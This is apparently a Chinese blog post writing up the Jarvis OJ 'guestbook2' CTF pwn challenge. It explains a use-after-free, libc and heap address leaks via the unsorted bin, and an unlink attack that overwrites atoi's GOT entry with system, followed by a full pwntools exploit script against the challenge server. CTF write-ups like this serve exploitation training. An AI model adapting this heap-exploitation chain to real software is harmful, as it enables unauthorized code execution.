Guestbook2

听说guestbook1很快被人日穿了,出题人表示不服,于是对Guestbook进行了升级,自以为写的很科学~~大家一起鉴定一下。

nc pwn.jarvisoj.com 9879

guestbook2.rar.f90369a6de48cbfe84ea32b232ad9630

 

checksec如下:

 

 

 观察程序,发现存在UAF漏洞:

int delete_post()
{
  int v1; // [rsp+Ch] [rbp-4h]

  if ( *(__int64 *)(heap_addr + 8) <= 0 )
    return puts("No posts yet.");
  printf("Post number: ");
  v1 = read_int();
  if ( v1 < 0 || v1 >= *(_QWORD *)heap_addr )
    return puts("Invalid number!");
  --*(_QWORD *)(heap_addr + 8);
  *(_QWORD *)(heap_addr + 24LL * v1 + 16) = 0LL;
  *(_QWORD *)(heap_addr + 24LL * v1 + 24) = 0LL;
  free(*(void **)(heap_addr + 24LL * v1 + 32));
  return puts("Done.");
}

同时list_post里面的输出是输出到'\x00'为止,因此考虑通过它泄露libc地址及堆地址

malloc post堆块的大小是0x80对齐的,因此考虑通过unsorted bin泄露

可以先申请五个0x80大小的堆块(0~4),然后释放编号1和3的两块

这样1号堆块的fd就是main_arena+88,bk是3号堆块

然后修改0号堆块的大小,使得内容刚好到达fd前,那么list_post中的printf就会将fd一并输出,再次修改大小,使得内容到达bk前,则bk也被输出

于是libc和heap地址都泄露了

最开始的malloc里面存放着结构体信息,大致格式如下

 

 里面有着后来申请堆块的实际地址,可以考虑进行unlink

对0号堆块进行unlink,在0号堆块内部构造两个fake_trunk,第一个伪堆块的size等于第二个伪堆块的prev_size,第二个伪堆块的位置在原先的1号堆块处,第一个伪堆块的prev_in_use位为0,之后再次删除1号堆块,这样会触发第一个伪堆块与第二个伪堆块的向后合并(第一个伪堆块大小变为两者大小和,第一个伪堆块进行unlink)

unlink之后结构体里0号堆块的实际地址变成了地址位置-0x18,之后再次修改0号堆块(注意大小需要和上次一样,以免触发realloc,将1号堆块的地址更改为atoi_got,同时将1号的flag置为1,length置为8,之后修改1号堆块,将atoi_got改为system地址、

之后输入"/bin/sh"即可拿到shell

exp如下:

from pwn import *

def list_post():
    io.recvuntil('Your choice: ')
    io.sendline('1')

def new_post(l, post):
    io.recvuntil('Your choice: ')
    io.sendline('2')
    io.recvuntil('Length of new post: ')
    io.sendline(str(l))
    io.recvuntil('Enter your post: ')
    io.send(post)
    io.recvuntil('Done.\n')

def edit_post(num, l, post):
    io.recvuntil('Your choice: ')
    io.sendline('3')
    io.recvuntil('Post number: ')
    io.sendline(str(num))
    io.recvuntil('Length of post: ')
    io.sendline(str(l))
    io.recvuntil('Enter your post: ')
    io.send(post)
    io.recvuntil('Done.\n')

def delete_post(num):
    io.recvuntil('Your choice: ')
    io.sendline('4')
    io.recvuntil('Post number: ')
    io.sendline(str(num))
    io.recvuntil('Done.\n')

def exit_guestbook():
    io.recvuntil('Your choice: ')
    io.sendline('5')

#context.log_level='debug'
#io = gdb.debug('./guestbook2', 'b *0x400998')
#io = process('./guestbook2')
io = remote('pwn.jarvisoj.com', 9879)
elf = ELF('./guestbook2')
#libc = elf.libc
libc = ELF('./libc.so.6')
atoi_got = 0x602070
new_post(0x80, b'a' * 0x80)
new_post(0x80, b'b' * 0x80)
new_post(0x80, b'c' * 0x80)
new_post(0x80, b'd' * 0x80)
new_post(0x80, b'e' * 0x80)
delete_post(1)
delete_post(3)
edit_post(0, 0x80 + 0x10, b'a' * 0x80 + b'b' * 0x10)
list_post()
io.recvuntil(b'b' * 0x10)
libc_addr = u64(io.recvline().strip().ljust(8, b'\x00'))
info("libc_addr:%s" % str(hex(libc_addr)))
edit_post(0, 0x80 + 0x18, b'a' * 0x80 + b'b' * 0x18)
list_post()
io.recvuntil(b'b' * 0x18)
heap_addr = u64(io.recvline().strip().ljust(8, b'\x00'))
info("heap_addr:%s" % str(hex(heap_addr)))
unlink_addr = heap_addr - 6560
info("unlink_addr:%s" % str(hex(unlink_addr)))
payload = p64(0x90) + p64(0x80) + p64(unlink_addr - 0x18) + p64(unlink_addr - 0x10)
payload = payload.ljust(0x80, b'\x00')
payload += p64(0x80) + p64(0x90)
payload = payload.ljust(0x80 * 2, b'\x00')
edit_post(0, len(payload), payload)
delete_post(1)
payload = p64(2) + p64(1) + p64(0x100) + p64(unlink_addr - 0x18) + p64(1) + p64(8) + p64(atoi_got)
payload = payload.ljust(0x80 * 2, b'\x00')
#libc_base = libc_addr - 0x3c4b78
libc_base = libc_addr - 0x3BE760 - 88
system_addr = libc.symbols['system'] + libc_base
edit_post(0, len(payload), payload)
edit_post(1, 8, p64(system_addr))
io.recvuntil('Your choice: ')
io.sendline('/bin/sh')

io.interactive()

 

posted @ 2021-07-12 22:37  hktk1643  阅读(181)  评论(0编辑  收藏  举报